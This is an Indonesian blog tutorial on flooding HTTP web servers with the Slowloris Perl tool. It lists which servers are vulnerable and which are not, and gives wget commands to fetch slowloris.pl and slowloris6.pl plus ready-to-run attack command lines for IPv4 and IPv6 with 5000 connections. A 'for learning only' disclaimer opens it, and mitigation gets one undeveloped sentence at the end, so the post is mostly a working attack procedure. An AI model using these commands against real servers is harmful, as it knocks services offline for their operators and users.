Melakukan Dos Attack Memakai Slowloris Perl

Penetrasi kali ini akan sedikit meng-kilas balik penerapan HTTPd DDoS Attack dengan perl Slowloris, dimana DDoS attack kali ini untuk membanjiri service/resource HTTPd webserver suatu komputer/server. Namun tujuan dari dari tulisan ini hanya untuk pembelajaran semata, gunakan secara bijak, penulis tidak bertanggung jawab atas kerugian yang diakibatkan.

Tools yang akan digunakan kali ini adalah Slowloris HTTPd DDoS, bersumber pada bahasa perl yang di tulis oleh John Kinsella
http://ckers.org/slowloris. Keunggulan script tersebut untuk penetrasi DDoS Attack webserver mendukung IPv4 dan IPv6 pada service berikut: 

• Apache 1.x
• Apache 2.x
• dhttpd
• GoAhead WebServer
• WebSense "block pages" (unconfirmed)
• Trapeze Wireless Web Portal (unconfirmed)
• Verizon's MI424-WR FIOS Cable modem (unconfirmed)
• Verizon's Motorola Set-Top Box (port 8082 and requires auth - unconfirmed)
• BeeWare WAF (unconfirmed)
• Deny All WAF (unconfirmed)

Untuk dapat menggunakan tools/script tersebut download Slowloris.pl dan install dependensi yang di butuhkan.

# yum install perl perl-CPAN

Jika menggunakan opsi DDoS attack IPv4

# perl -MCPAN -e 'install IO::Socket::INET'
# perl -MCPAN -e 'install IO::Socket::SSL'
# wget http://ha.ckers.org/slowloris/slowloris.pl

Contoh penerapan DDoS Attack Slowloris IPv4

# perl slowloris.pl -dns  -port 80 -timeout 30 -num 5000 -cache

Jika menggunakan opsi DDoS attack IPv6

# perl -MCPAN -e 'install IO::Socket::INET6'
# perl -MCPAN -e 'install IO::Socket::SSL'
# wget http://ha.ckers.org/slowloris/slowloris6.pl

Contoh penerapan DDoS Attack Slowloris IPv6

# perl slowloris6.pl -dns  -port 80 -timeout 30 -num 5000 -cache

Namun ada beberapa service DDoS Attack yang tidak berpengaruh terhadap serangan slowloris atas webserver di bawah ini:

• IIS6.0
• IIS7.0
• lighttpd
• Squid
• nginx
• Cherokee
• Netscaler
• Cisco CSS

Untuk dapat me-minimalisir  serangan slowloris ini, jika anda menggunakan webserer apache, anda dapat menggunakan salah satu modul apache untuk pencegahan DDoS Attack, dimana dibahas pada tulisa berikut

Browse More Articles

Tweet

Written by Unknown

We are Creative Blogger Theme Wavers which provides user friendly, effective and easy to use themes. Each support has free and providing HD support screen casting.